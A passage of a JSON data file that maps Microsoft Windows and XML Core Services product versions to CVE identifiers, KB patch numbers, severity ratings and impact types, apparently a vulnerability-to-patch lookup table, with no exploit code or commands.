Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2901110","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Service Pack 1":[{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973540","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981350","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft Windows XP Service Pack 3":[{"cve":"CVE-2008-0015","kb":"973540","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4841","kb":"923561","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-1885","kb":"2229593","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3138","kb":"2661637","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3144","kb":"2443105","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416447","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518864","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5065","kb":"2914368","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0295","kb":"2901110","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"}],"Microsoft XML Core Services 3.0 on Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2017-0022","kb":"4013198","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2017-0022","kb":"4013198","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2017-0022","kb":"4012606","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 for x64-based Systems":[{"cve":"CVE-2017-0022","kb":"4012606","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows RT 8.1":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for Itanium-Based Systems Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2012":[{"cve":"CVE-2017-0022","kb":"4012217","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"4012217","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2012 R2":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2016":[{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Vista Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Vista x64 Edition Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Windows 10 Version 1507 for 32-bit Systems":[{"cve":"CVE-2017-0143","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"}],"Windows 10 Version 1507 for x64-based Systems":[{"cve":"CVE-2017-0143","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"}],"Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2015-6100","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3116900","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3116900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6168","kb":"3116900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3124263","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3124263","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3124263","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3124263","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3135173","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3135173","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3140768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3147458","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3156421","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163018","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185614","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198586","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013198","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019473","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019473","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041689","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041689","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048952","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053578","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025344","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0826","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074591","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0886","kb":"4088779","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093109","severity":"Important","impact":"Information Disclosure"}],"Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2015-6100","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3116900","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3116900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6168","kb":"3116900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3124263","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3124263","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3124263","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3124263","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3135173","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3135173","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3140768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3147458","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3156421","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163018","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185614","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198586","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013198","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019473","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019473","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041689","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041689","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048952","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053578","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025344","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0826","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074591","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0886","kb":"4088779","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093109","severity":"Important","impact":"Information Disclosure"}],"Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2016-3237","kb":"3194798","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3189866","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3200970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041691","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041691","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048953","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053579","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025339","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074590","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088787","severity":"Important","impact":"Elevation of 